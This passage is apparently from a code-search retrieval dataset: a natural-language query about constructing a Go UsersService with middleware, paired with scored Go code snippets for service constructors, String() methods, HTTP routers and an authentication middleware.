"title": "" }, { "docid": "bb74654e5b76bf391c60ad10d65f4aa6", "score": "0.5273214", "text": "func (o VolumeCreateRequest) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "87cb12855e941b780a49cf524e0978e8", "score": "0.5253657", "text": "func (s RequestOptionStruct) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b842e2fdbe68d089a489cdc5bec6248b", "score": "0.5251074", "text": "func (s Member) GoString() string {\n\treturn s.String()\n}", "title": "" }, { "docid": "b842e2fdbe68d089a489cdc5bec6248b", "score": "0.5251074", "text": "func (s Member) GoString() string {\n\treturn s.String()\n}", "title": "" }, { "docid": "b842e2fdbe68d089a489cdc5bec6248b", "score": "0.5251074", "text": "func (s Member) GoString() string {\n\treturn s.String()\n}", "title": "" }, { "docid": "e0b6b98d05d5331724b2ddbcfe6e151e", "score": "0.5250813", "text": "func (s UpdateTeamMemberOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "03900f1e47c2d3d3089d034abfdbcda0", "score": "0.52503586", "text": "func (p Params) String() string {\n\tbz, err := yaml.Marshal(p)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(bz)\n}", "title": "" }, { "docid": "b30303dca846f470eb2efe6e9ecb18bb", "score": "0.5248988", "text": "func (s FieldInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "897028ea13c01a5f5414d686871d89bb", "score": "0.5240624", "text": "func (s ModifyVolumeAttributeOutput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "37f061fd711936c7a11d7a95bdf4fbde", "score": "0.5240266", "text": "func (s UpdateProvisioningParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "95fa8cfbbff1e8c36281586eedddfbf5", "score": "0.5233961", "text": "func (c Credentials) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "acea6a093cd77daf60242a314abeec11", "score": "0.52334964", "text": "func (o VolumeGetIterRequestDesiredAttributes) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "b5cc7266cd8154aba867226ec49686fa", "score": "0.5231641", "text": "func (o NvmeNamespaceModifyRequest) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "2e9f2c6cbcc624fe05bfec6e820d3589", "score": "0.5230216", "text": "func (p Params) String(key string) string {\n\tv, ok := p[key]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\tout, ok := v.(string)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn out\n}", "title": "" }, { "docid": "8ed6e425f111d06043958014bb768c75", "score": "0.5228752", "text": "func String(key string, val string) zapcore.Field {\n\treturn zap.String(key, val)\n}", "title": "" } ]
f31af2613e7b664e94343cbb8256e71a
New returns a UsersService with all of the expected middleware wired in.
[ { "docid": "01e2e80689f9928ff90f7b0db64aec3b", "score": "0.85315794", "text": "func New(middleware []Middleware) UsersService {\n\tvar svc UsersService = NewBasicUsersService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" } ]
[ { "docid": "5f7ac6e4f1abc2b2ee2c24f10cac2678", "score": "0.8507117", "text": "func New(middleware []Middleware) UsersService {\n\tvar svc = NewBasicUsersService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "3189768759d34693573f73d7ed483ec4", "score": "0.8238839", "text": "func New(middleware []Middleware) UserService {\n\tvar svc UserService = NewBasicUserService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "1a282d70e23fffa44e6ffa286a871888", "score": "0.7097919", "text": "func New(s service.UsersService, mdw map[string][]endpoint.Middleware) Endpoints {\n\teps := Endpoints{\n\t\tCreateUserEndpoint: MakeCreateUserEndpoint(s),\n\t\tDeleteUserEndpoint: MakeDeleteUserEndpoint(s),\n\t\tGetAllUserEndpoint: MakeGetAllUserEndpoint(s),\n\t\tGetUserEndpoint: MakeGetUserEndpoint(s),\n\t\tUpdateUserEndpoint: MakeUpdateUserEndpoint(s),\n\t}\n\tfor _, m := range mdw[\"CreateUser\"] {\n\t\teps.CreateUserEndpoint = m(eps.CreateUserEndpoint)\n\t}\n\tfor _, m := range mdw[\"GetAllUser\"] {\n\t\teps.GetAllUserEndpoint = m(eps.GetAllUserEndpoint)\n\t}\n\tfor _, m := range mdw[\"UpdateUser\"] {\n\t\teps.UpdateUserEndpoint = m(eps.UpdateUserEndpoint)\n\t}\n\tfor _, m := range mdw[\"DeleteUser\"] {\n\t\teps.DeleteUserEndpoint = m(eps.DeleteUserEndpoint)\n\t}\n\tfor _, m := range mdw[\"GetUser\"] {\n\t\teps.GetUserEndpoint = m(eps.GetUserEndpoint)\n\t}\n\treturn eps\n}", "title": "" }, { "docid": "70aad7cd28e158aabaf5dff356b8123c", "score": "0.6844076", "text": "func New(middleware ...Middleware) Service {\n\tsvc := Service(service{})\n\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\n\treturn svc\n}", "title": "" }, { "docid": "bb99250de600082f7d17f403b9dc74a8", "score": "0.6829509", "text": "func New(svc service.UserService, logger log.Logger, duration metrics.Histogram, otTracer stdopentracing.Tracer, zipkinTracer *stdzipkin.Tracer) Set {\n\tvar listUsersEndpoint endpoint.Endpoint\n\t{\n\t\tlistUsersEndpoint = MakeListUsersEndpoint(svc)\n\t\tlistUsersEndpoint = ratelimit.NewErroringLimiter(rate.NewLimiter(rate.Every(time.Second), 100))(listUsersEndpoint)\n\t\tlistUsersEndpoint = circuitbreaker.Gobreaker(gobreaker.NewCircuitBreaker(gobreaker.Settings{}))(listUsersEndpoint)\n\t\tlistUsersEndpoint = opentracing.TraceServer(otTracer, \"ListUsers\")(listUsersEndpoint)\n\t\tlistUsersEndpoint = zipkin.TraceEndpoint(zipkinTracer, \"ListUsers\")(listUsersEndpoint)\n\t\tlistUsersEndpoint = LoggingMiddleware(log.With(logger, \"method\", \"ListUsers\"))(listUsersEndpoint)\n\t\tlistUsersEndpoint = InstrumentingMiddleware(duration.With(\"method\", \"ListUsers\"))(listUsersEndpoint)\n\t}\n\n\treturn Set{\n\t\tListUsersEndpoint: listUsersEndpoint,\n\t\tGetUserEndpoint: MakeGetUserEndpoint(svc),\n\t\tNewUserEndpoint: MakeNewlUserEndpoint(svc),\n\t\tDelUserEndpoint: MakeDelUserEndpoint(svc),\n\t\tPutUserEndpoint: MakePutUserEndpoint(svc),\n\t}\n}", "title": "" }, { "docid": "cbd36b9259ba4198d530b212bc5016c8", "score": "0.67949444", "text": "func New(store *connector.Store, config configuration.Config) base.Service {\n\treturn &userService{\n\t\tstore: store,\n\t\tconfig: config,\n\t}\n}", "title": "" }, { "docid": "a37e2d91441bd8b976979f9a908d6527", "score": "0.6749949", "text": "func New(ss storage.Service, cs cache.Service, l logger.Service) Handler {\n\tiS := items.NewService(ss, l)\n\tuS := users.NewService(ss, cs, l, iS)\n\n\treturn Handler{\n\t\tItems: iS,\n\t\tUsers: uS,\n\t}\n}", "title": "" }, { "docid": "0a2bb1e8892a890175c633fe5320ae9a", "score": "0.6580475", "text": "func New(opts ...MiddlewareOption) *Middleware {\n\tdefaults := &options{\n\t\tuserProperty: \"user\",\n\t\tsigningMethod: jwt.SigningMethodHS256,\n\t\terrorHandler: onError,\n\t\textractor: BearerExtractor,\n\t}\n\tfor _, w := range opts {\n\t\tw(defaults)\n\t}\n\treturn &Middleware{options: defaults}\n}", "title": "" }, { "docid": "0f54c72cf9935f7f0fd1cd8240e705ad", "score": "0.6554862", "text": "func New(middleware []Middleware, db *sqlx.DB) AccountsService {\n\tsvc := NewBasicAccountsService(db)\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "9a00fd8063f50616a31b9432ee12bea5", "score": "0.6515189", "text": "func New(middleware []Middleware) AccountsService {\n\tvar svc AccountsService = NewBasicAccountsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "9ea8e4fe4b254f6f18ecb6b0fa7d37f8", "score": "0.65125847", "text": "func New(middleware []Middleware) FooService {\n\tvar svc FooService = NewBasicFooService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "714bddcfe73393828062756554d71c18", "score": "0.64249057", "text": "func New(middleware []Middleware) BotnaughtService {\n\tvar svc BotnaughtService = NewBasicBotnaughtService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "2c9dfec9ddcb76e0def969623c1b3ee2", "score": "0.6409524", "text": "func New(middleware []Middleware) TodoService {\n\tvar svc TodoService = NewBasicTodoService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "9ac6c072034f3382ac81cf132ed13a0b", "score": "0.6382347", "text": "func New(db db.DB, logger zerolog.Logger) user.Service {\n\treturn &userService{\n\t\tdb: db,\n\t\tlogger: logger,\n\t}\n}", "title": "" }, { "docid": "2fe3d72e3a34a68fa06c56e246ae3c2f", "score": "0.63364846", "text": "func New(middleware []Middleware) CoursewareService {\n\tvar svc CoursewareService = NewBasicCoursewareService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "6533078b2c4aae83de028faf7733c9df", "score": "0.6320462", "text": "func newUserService(client *mongo.Client) UserService {\n\treturn &userServiceImpl{\n\t\tclient: client,\n\t}\n}", "title": "" }, { "docid": "45d4541f814d078c49683f757e845e59", "score": "0.62753856", "text": "func New(middleware []Middleware) OmsService {\n\tvar svc OmsService = NewBasicOmsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "482f924652d3d99d21ed4ad15b14afde", "score": "0.6220938", "text": "func newUsersHandler() *usersHandler {\n\treturn &usersHandler{}\n}", "title": "" }, { "docid": "0b7a16000f01a99909e0405cfed3966d", "score": "0.61677015", "text": "func NewUsersService(v *govice.Validator) *UsersService {\n\treturn &UsersService{\n\t\tv: v,\n\t\tdb: make(map[string]*User),\n\t}\n}", "title": "" }, { "docid": "7f99dd5334663fc9738443998ae31969", "score": "0.6157729", "text": "func New(service *services.Service) {\n\tNewUserController(&service.Db)\n\tNewTodoController(&service.Db)\n\tNewDirectoryController(&service.Db)\n}", "title": "" }, { "docid": "7733470b67ee660ffb3319e8650abd41", "score": "0.61564827", "text": "func NewUsersService(\n\tauthorizeFn AuthorizeFn,\n\tusersStore UsersStore,\n\tsessionsStore SessionsStore,\n\troleAssignmentsStore RoleAssignmentsStore,\n\tprojectRoleAssignmentsStore ProjectRoleAssignmentsStore,\n\tconfig UsersServiceConfig,\n) UsersService {\n\treturn &usersService{\n\t\tauthorize: authorizeFn,\n\t\tusersStore: usersStore,\n\t\tsessionsStore: sessionsStore,\n\t\troleAssignmentsStore: roleAssignmentsStore,\n\t\tprojectRoleAssignmentsStore: projectRoleAssignmentsStore,\n\t\tconfig: config,\n\t}\n}", "title": "" }, { "docid": "15a3d7ebd1d4d6bf23339a38e13b81a5", "score": "0.6140655", "text": "func New(middleware []Middleware) XosoService {\n\tvar svc XosoService = NewBasicXosoService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "6c109f5a5d286baf6dccaf98a0200f55", "score": "0.61299425", "text": "func New(middleware []Middleware) GokitaService {\n\tvar svc GokitaService = NewBasicGokitaService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "e2c82fffd1c6d9af7e4114423ec8ecfe", "score": "0.6128026", "text": "func New(\n\te *userservice.Endpoints,\n\tmux goahttp.Muxer,\n\tdecoder func(*http.Request) goahttp.Decoder,\n\tencoder func(context.Context, http.ResponseWriter) goahttp.Encoder,\n\terrhandler func(context.Context, http.ResponseWriter, error),\n\tformatter func(err error) goahttp.Statuser,\n) *Server {\n\treturn &Server{\n\t\tMounts: []*MountPoint{\n\t\t\t{\"Signup\", \"POST\", \"/signup\"},\n\t\t\t{\"VerifyConfirmationToken\", \"POST\", \"/verifyConfirmationToken\"},\n\t\t\t{\"UpdateUsername\", \"POST\", \"/updateUsername\"},\n\t\t\t{\"VerifyPasswordResetToken\", \"POST\", \"/verifyPasswordResetToken\"},\n\t\t\t{\"ResetPassword\", \"POST\", \"/resetPassword\"},\n\t\t\t{\"ChangePassword\", \"POST\", \"/changePassword\"},\n\t\t\t{\"Login\", \"POST\", \"/login\"},\n\t\t\t{\"RefreshAccessToken\", \"POST\", \"/refreshAccessToken\"},\n\t\t\t{\"Logout\", \"POST\", \"/logout\"},\n\t\t\t{\"ListUsers\", \"POST\", \"/listUsers\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/signup\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/verifyConfirmationToken\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/updateUsername\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/verifyPasswordResetToken\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/resetPassword\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/changePassword\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/login\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/refreshAccessToken\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/logout\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/listUsers\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/openapi.yaml\"},\n\t\t\t{\"./gen/http/openapi.yaml\", \"GET\", \"/openapi.yaml\"},\n\t\t},\n\t\tSignup: NewSignupHandler(e.Signup, mux, decoder, encoder, errhandler, formatter),\n\t\tVerifyConfirmationToken: NewVerifyConfirmationTokenHandler(e.VerifyConfirmationToken, mux, decoder, encoder, errhandler, formatter),\n\t\tUpdateUsername: NewUpdateUsernameHandler(e.UpdateUsername, mux, decoder, encoder, errhandler, formatter),\n\t\tVerifyPasswordResetToken: NewVerifyPasswordResetTokenHandler(e.VerifyPasswordResetToken, mux, decoder, encoder, errhandler, formatter),\n\t\tResetPassword: NewResetPasswordHandler(e.ResetPassword, mux, decoder, encoder, errhandler, formatter),\n\t\tChangePassword: NewChangePasswordHandler(e.ChangePassword, mux, decoder, encoder, errhandler, formatter),\n\t\tLogin: NewLoginHandler(e.Login, mux, decoder, encoder, errhandler, formatter),\n\t\tRefreshAccessToken: NewRefreshAccessTokenHandler(e.RefreshAccessToken, mux, decoder, encoder, errhandler, formatter),\n\t\tLogout: NewLogoutHandler(e.Logout, mux, decoder, encoder, errhandler, formatter),\n\t\tListUsers: NewListUsersHandler(e.ListUsers, mux, decoder, encoder, errhandler, formatter),\n\t\tCORS: NewCORSHandler(),\n\t}\n}", "title": "" }, { "docid": "c2c6c0ca90e6c515c6c98814bad212f7", "score": "0.6121137", "text": "func NewUserService(db *sql.DB) Service {\n\treturn &userService{\n\t\tDB: db,\n\t}\n}", "title": "" }, { "docid": "cfd946b986550055429712f9073ecc38", "score": "0.6092147", "text": "func New() *Service {\n\tuserRepository := *u.Repo(c.Mysql())\n\treturn &Service{userRepository}\n}", "title": "" }, { "docid": "682896069ee7caa2b35d2bcf38cfb7fc", "score": "0.60657614", "text": "func New(middleware []Middleware) ParticipantsService {\n\tvar svc ParticipantsService = NewBasicParticipantsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "e413a80a00ee7eb3888c08e85bdddd68", "score": "0.60477996", "text": "func NewUserService() *UserService {\n\treturn &UserService{}\n}", "title": "" }, { "docid": "e413a80a00ee7eb3888c08e85bdddd68", "score": "0.60477996", "text": "func NewUserService() *UserService {\n\treturn &UserService{}\n}", "title": "" }, { "docid": "e0aa24e773ebb27a368c3b6598692190", "score": "0.60218596", "text": "func New(m map[string]interface{}, unprotected []string, tp trace.TracerProvider) (global.Middleware, error) {\n\tconf, err := parseConfig(m)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconf.GatewaySvc = sharedconf.GetGatewaySVC(conf.GatewaySvc)\n\n\t// set defaults\n\tif conf.TokenStrategy == \"\" {\n\t\tconf.TokenStrategy = \"header\"\n\t}\n\n\tif conf.TokenWriter == \"\" {\n\t\tconf.TokenWriter = \"header\"\n\t}\n\n\tif conf.TokenManager == \"\" {\n\t\tconf.TokenManager = \"jwt\"\n\t}\n\n\tif len(conf.CredentialChain) == 0 {\n\t\tconf.CredentialChain = []string{\"basic\", \"bearer\"}\n\t}\n\n\tif conf.CredentialsByUserAgent == nil {\n\t\tconf.CredentialsByUserAgent = map[string]string{}\n\t}\n\n\tif conf.UserGroupsCacheSize == 0 {\n\t\tconf.UserGroupsCacheSize = 5000\n\t}\n\n\tcacheOnce.Do(func() {\n\t\tuserGroupsCache = gcache.New(conf.UserGroupsCacheSize).LFU().Build()\n\t})\n\n\tcredChain := map[string]auth.CredentialStrategy{}\n\tfor i, key := range conf.CredentialChain {\n\t\tf, ok := registry.NewCredentialFuncs[conf.CredentialChain[i]]\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"credential strategy not found: %s\", conf.CredentialChain[i])\n\t\t}\n\n\t\tcredStrategy, err := f(conf.CredentialStrategies[conf.CredentialChain[i]])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcredChain[key] = credStrategy\n\t}\n\n\tg, ok := tokenregistry.NewTokenFuncs[conf.TokenStrategy]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"token strategy not found: %s\", conf.TokenStrategy)\n\t}\n\n\ttokenStrategy, err := g(conf.TokenStrategies[conf.TokenStrategy])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\th, ok := tokenmgr.NewFuncs[conf.TokenManager]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"token manager not found: %s\", conf.TokenStrategy)\n\t}\n\n\ttokenManager, err := h(conf.TokenManagers[conf.TokenManager])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ti, ok := tokenwriterregistry.NewTokenFuncs[conf.TokenWriter]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"token writer not found: %s\", conf.TokenWriter)\n\t}\n\n\ttokenWriter, err := i(conf.TokenWriters[conf.TokenWriter])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchain := func(h http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t// OPTION requests need to pass for preflight requests\n\t\t\t// TODO(labkode): this will break options for auth protected routes.\n\t\t\t// Maybe running the CORS middleware before auth kicks in is enough.\n\t\t\tctx := r.Context()\n\t\t\tspan := trace.SpanFromContext(ctx)\n\t\t\tdefer span.End()\n\t\t\tif !span.SpanContext().HasTraceID() {\n\t\t\t\t_, span = tp.Tracer(tracerName).Start(ctx, \"http auth interceptor\")\n\t\t\t}\n\n\t\t\tif r.Method == \"OPTIONS\" {\n\t\t\t\th.ServeHTTP(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlog := appctx.GetLogger(r.Context())\n\t\t\tisUnprotectedEndpoint := false\n\n\t\t\t// For unprotected URLs, we try to authenticate the request in case some service needs it,\n\t\t\t// but don't return any errors if it fails.\n\t\t\tif utils.Skip(r.URL.Path, unprotected) {\n\t\t\t\tlog.Info().Msg(\"skipping auth check for: \" + r.URL.Path)\n\t\t\t\tisUnprotectedEndpoint = true\n\t\t\t}\n\n\t\t\tctx, err := authenticateUser(w, r, conf, tokenStrategy, tokenManager, tokenWriter, credChain, isUnprotectedEndpoint)\n\t\t\tif err != nil {\n\t\t\t\tif !isUnprotectedEndpoint {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tu, ok := ctxpkg.ContextGetUser(ctx)\n\t\t\t\tif ok {\n\t\t\t\t\tspan.SetAttributes(semconv.EnduserIDKey.String(u.Id.OpaqueId))\n\t\t\t\t}\n\n\t\t\t\tr = r.WithContext(ctx)\n\t\t\t}\n\t\t\th.ServeHTTP(w, r)\n\n\t\t})\n\t}\n\treturn chain, nil\n}", "title": "" }, { "docid": "fd1a4ad59cb9a12a0ece51acb63f01ce", "score": "0.59990925", "text": "func New(\n\te *user.Endpoints,\n\tmux goahttp.Muxer,\n\tdecoder func(*http.Request) goahttp.Decoder,\n\tencoder func(context.Context, http.ResponseWriter) goahttp.Encoder,\n\terrhandler func(context.Context, http.ResponseWriter, error),\n\tformatter func(err error) goahttp.Statuser,\n) *Server {\n\treturn &Server{\n\t\tMounts: []*MountPoint{\n\t\t\t{\"ListUsers\", \"GET\", \"/users\"},\n\t\t\t{\"GetUser\", \"GET\", \"/users/{id}\"},\n\t\t\t{\"CreateUser\", \"POST\", \"/users\"},\n\t\t\t{\"RemoveUser\", \"DELETE\", \"/users/{id}\"},\n\t\t},\n\t\tListUsers: NewListUsersHandler(e.ListUsers, mux, decoder, encoder, errhandler, formatter),\n\t\tGetUser: NewGetUserHandler(e.GetUser, mux, decoder, encoder, errhandler, formatter),\n\t\tCreateUser: NewCreateUserHandler(e.CreateUser, mux, decoder, encoder, errhandler, formatter),\n\t\tRemoveUser: NewRemoveUserHandler(e.RemoveUser, mux, decoder, encoder, errhandler, formatter),\n\t}\n}", "title": "" }, { "docid": "c9d540da31f91514ca2ee30c9a77987e", "score": "0.5988443", "text": "func NewService(users repositories.UserRepository, bus eventbus.EventBus) (services.UserService, error) {\n\treturn &userService{\n\t\tusers: users,\n\t\tbus: bus,\n\t}, nil\n}", "title": "" }, { "docid": "55f18c9bf980275f72c95400f6e61787", "score": "0.5949177", "text": "func NewRouter() *UserRouter {\n\trr := &UserRouter{\n\t\tRouter: router.New(),\n\t}\n\n\trr.Router.Handle(\"GET\", \"/user\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif rr.GetUser == nil {\n\t\t\tslog.Panicf(\"No handler exists for GET service.user/user\")\n\t\t}\n\n\t\tbody := &def.GetUserRequest{}\n\t\tif err := request.Decode(r, body); err != nil {\n\t\t\terr = errors.Wrap(err, errors.ErrBadRequest, \"failed to decode request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tif err := body.Validate(); err != nil {\n\t\t\terr = errors.Wrap(err, errors.ErrBadRequest, \"failed to validate request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\trsp, err := rr.GetUser(body)\n\t\tif err != nil {\n\t\t\terr = errors.WithMessage(err, \"failed to handle request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tresponse.WriteJSON(w, rsp)\n\t})\n\n\trr.Router.Handle(\"GET\", \"/users\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif rr.ListUsers == nil {\n\t\t\tslog.Panicf(\"No handler exists for GET service.user/users\")\n\t\t}\n\n\t\tbody := &def.ListUsersRequest{}\n\t\tif err := request.Decode(r, body); err != nil {\n\t\t\terr = errors.Wrap(err, errors.ErrBadRequest, \"failed to decode request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tif err := body.Validate(); err != nil {\n\t\t\terr = errors.Wrap(err, errors.ErrBadRequest, \"failed to validate request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\trsp, err := rr.ListUsers(body)\n\t\tif err != nil {\n\t\t\terr = errors.WithMessage(err, \"failed to handle request\")\n\t\t\tslog.Error(err)\n\t\t\tresponse.WriteJSON(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tresponse.WriteJSON(w, rsp)\n\t})\n\n\treturn rr\n}", "title": "" }, { "docid": "3033ec50f87e90bcd4a4ecd0f4d3a6e2", "score": "0.594834", "text": "func New(db *mgo.Session, c *config.Configuration) UserService {\n\treturn &UserServiceImp{db: db, config: c, repo: repository.New(db, c)}\n}", "title": "" }, { "docid": "9c5ecb2ae8dd3ab225d5a96b4b7ed143", "score": "0.59244925", "text": "func newUserController(userService service.UserService) *userController {\n\treturn &userController{\n\t\tuserService: userService,\n\t}\n}", "title": "" }, { "docid": "0d6e83ccca4b9fe9851409e84dfa93a5", "score": "0.5897555", "text": "func New(db *sql.DB) api.UserController {\n\treturn &userCtrl{db}\n}", "title": "" }, { "docid": "1ca5af3ae0335abdfa681aadc89e6865", "score": "0.58883774", "text": "func New(logger log.Logger, ints, chars metrics.Counter) Service {\n\tvar svc Service\n\t{\n\t\tsvc = NewBasicService()\n\t\tsvc = LoggingMiddleware(logger)(svc)\n\t\tsvc = InstrumentingMiddleware(ints, chars)(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "3f9e5a9e66457eebea252d7829735f67", "score": "0.5884948", "text": "func NewUserService(storage storage.Storage) UserService {\n\treturn &userService{\n\t\tstorage: storage,\n\t}\n}", "title": "" }, { "docid": "db22b618e63ba514994781eda2337c88", "score": "0.58792174", "text": "func NewUserService(db *gorm.DB, pepper, hmacKey string) UserService {\n\tug := &userGorm{db}\n\n\thmac := hash.NewHMAC(hmacKey)\n\tuv := newUserValidator(ug, hmac, pepper)\n\n\treturn &userService{\n\t\tUserDB: uv,\n\t\tpepper: pepper,\n\t\tpwResetDB: newPwResetValidator(&pwResetGorm{db}, hmac),\n\t}\n}", "title": "" }, { "docid": "ad43df6aeb9a9764c222610f569da613", "score": "0.5875311", "text": "func NewUserService(r users.Repository,t users.Authable) users.AuthService {\n\treturn &userService{\n\t\trepo: r,\n\t\ttokenService: t,\n\t}\n}", "title": "" }, { "docid": "0c0ff9dc05467d8fa8a7b524e003abc0", "score": "0.586924", "text": "func New(middleware []Middleware) HealthyService {\n\tvar svc HealthyService = NewBasicHealthyService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "77c99e88298f2f9c145c552e53715de8", "score": "0.58672136", "text": "func New(middleware []Middleware) PostsService {\n\tvar svc PostsService = NewBasicPostsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "3a17f3ae100e6bdc4078711d27de9d52", "score": "0.58621734", "text": "func NewUsers(s services.UserService) *Users {\n\treturn &Users{s}\n}", "title": "" }, { "docid": "6a253de082ab310ba05eccdd767fad0b", "score": "0.5843659", "text": "func New(app application.Application) func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\treturn func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\t\truntimeKeyMap := application.DecodeGRPCRuntimeKey(ctx, app.RuntimeKeys())\n\t\ttContext := app.ContextPool().Acquire(app, runtimeKeyMap, nil)\n\t\tmethod := strings.Split(info.FullMethod, \"/\") // /user.UserService/GetUserByID\n\t\tdefer func() {\n\t\t\tif tContext.AutoFree() {\n\t\t\t\t//release trinity go context obj\n\t\t\t\tapp.ContextPool().Release(tContext)\n\t\t\t}\n\t\t}()\n\n\t\tcontroller, _, toFreeInstance := app.ControllerPool().GetController(method[1], tContext, app, nil)\n\t\tdefer func() {\n\t\t\tfor _, v := range toFreeInstance {\n\t\t\t\tapp.InstancePool().Release(v)\n\t\t\t}\n\t\t}()\n\t\tcurrentMethod, ok := reflect.TypeOf(controller).MethodByName(method[2])\n\t\tif !ok {\n\t\t\tpanic(\"controller has no method \")\n\t\t}\n\t\tvar inParam []reflect.Value\n\t\tinParam = append(inParam, reflect.ValueOf(controller))\n\t\tinParam = append(inParam, reflect.ValueOf(ctx))\n\t\tinParam = append(inParam, reflect.ValueOf(req))\n\t\tres := currentMethod.Func.Call(inParam)\n\t\tif len(res) != 2 {\n\t\t\tpanic(\"wrong res type\")\n\t\t}\n\t\tif res[1].Interface() != nil {\n\t\t\ttContext.SafeRollback()\n\t\t\treturn nil, res[1].Interface().(error)\n\t\t}\n\t\tif app.Conf().GetAtomicRequest() {\n\t\t\ttContext.SafeCommit()\n\t\t}\n\t\treturn res[0].Interface(), nil\n\t}\n}", "title": "" }, { "docid": "3fa7cb29ce27a75b717a4919ddb12501", "score": "0.58326864", "text": "func NewUserService(db *gorm.DB) UserService {\n\tug := &userGorm{db}\n\thmac := hash.NewHMAC(hmacSecretKey)\n\tuv := newUserValidator(ug, hmac)\n\treturn &userService{\n\t\tUserDB: uv,\n\t}\n}", "title": "" }, { "docid": "3fa7cb29ce27a75b717a4919ddb12501", "score": "0.58326864", "text": "func NewUserService(db *gorm.DB) UserService {\n\tug := &userGorm{db}\n\thmac := hash.NewHMAC(hmacSecretKey)\n\tuv := newUserValidator(ug, hmac)\n\treturn &userService{\n\t\tUserDB: uv,\n\t}\n}", "title": "" }, { "docid": "3fa7cb29ce27a75b717a4919ddb12501", "score": "0.58326864", "text": "func NewUserService(db *gorm.DB) UserService {\n\tug := &userGorm{db}\n\thmac := hash.NewHMAC(hmacSecretKey)\n\tuv := newUserValidator(ug, hmac)\n\treturn &userService{\n\t\tUserDB: uv,\n\t}\n}", "title": "" }, { "docid": "01128c1805a06c47de1f8a387fec9e9b", "score": "0.5820558", "text": "func NewUserService(client *ent.Client) 